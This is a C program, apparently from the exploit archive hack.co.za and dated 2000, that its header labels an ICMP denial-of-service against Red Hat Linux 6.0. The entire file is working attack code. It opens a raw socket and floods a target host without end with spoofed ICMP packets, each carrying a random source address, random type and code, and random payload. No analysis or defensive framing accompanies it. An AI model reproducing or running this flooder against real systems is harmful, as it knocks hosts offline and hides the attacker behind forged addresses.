/* Red Hat Linux 6.0 icmp DOS */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>

struct icmp_hdr
  {
    struct iphdr iph;
    struct icmp icp;
    char text[1002];
  }
icmph;

int in_cksum(int *ptr, int nbytes)
{
  long sum;
  u_short oddbyte, answer;
  sum = 0;
  while (nbytes > 1)
    {
      sum += *ptr++;
      nbytes -= 2;
    }
  if (nbytes == 1)
    {
      oddbyte = 0;
      *((u_char *)&oddbyte) = *(u_char *)ptr;
      sum += oddbyte;
    }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer);
}

struct sockaddr_in sock_open(char *address, int socket, int prt)
  {
    struct hostent *host;
    if ((host = gethostbyname(address)) == NULL)
      {
        perror("Unable to get host name");
        exit(-1);
      }
    struct sockaddr_in sin;
    bzero((char *)&sin, sizeof(sin));
    sin.sin_family = PF_INET;
    sin.sin_port = htons(prt);
    bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
    return(sin);
  }

void main(int argc, char **argv)
{
  int sock, i, ctr, k;
  int on = 1;
  struct sockaddr_in addrs;
  if (argc < 3)
    {
      printf("Usage: %s <ip_addr> <port>\n", argv[0]);
      exit(-1);
    }
  for (i = 0; i < 1002; i++)
    {
      icmph.text[i] = random() % 255;
    }
  sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
    {
      perror("Can't set IP_HDRINCL option on socket");
    }
  if (sock < 0)
    {
      exit(-1);
    }
  fflush(stdout);
  for (ctr = 0;ctr < 1001;ctr++)
    {
      ctr = ctr % 1000;
      addrs = sock_open(argv[1], sock, atoi(argv[2]));
      icmph.iph.version = 4;
      icmph.iph.ihl = 6;
      icmph.iph.tot_len = 1024;
      icmph.iph.id = htons(0x001);
      icmph.iph.ttl = 255;
      icmph.iph.protocol = IPPROTO_ICMP;
      icmph.iph.saddr = ((random() % 255) * 255 * 255 * 255) +
                        ((random() % 255) * 65535) +
                        ((random() % 255) * 255) +
                        (random() % 255);
      icmph.iph.daddr = addrs.sin_addr.s_addr;
      icmph.iph.frag_off = htons(0);
      icmph.icp.icmp_type = random() % 14;
      icmph.icp.icmp_code = random() % 10;
      icmph.icp.icmp_cksum = 0;
      icmph.icp.icmp_id = 2650;
      icmph.icp.icmp_seq = random() % 255;
      icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024);
      if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1)
        {
          if (errno != ENOBUFS) printf("X");
        }
      if (ctr == 0) printf("b00m ");
      fflush(stdout);
    }
  close(sock);
}
/*                    www.hack.co.za                  [23 Feb 2000]*/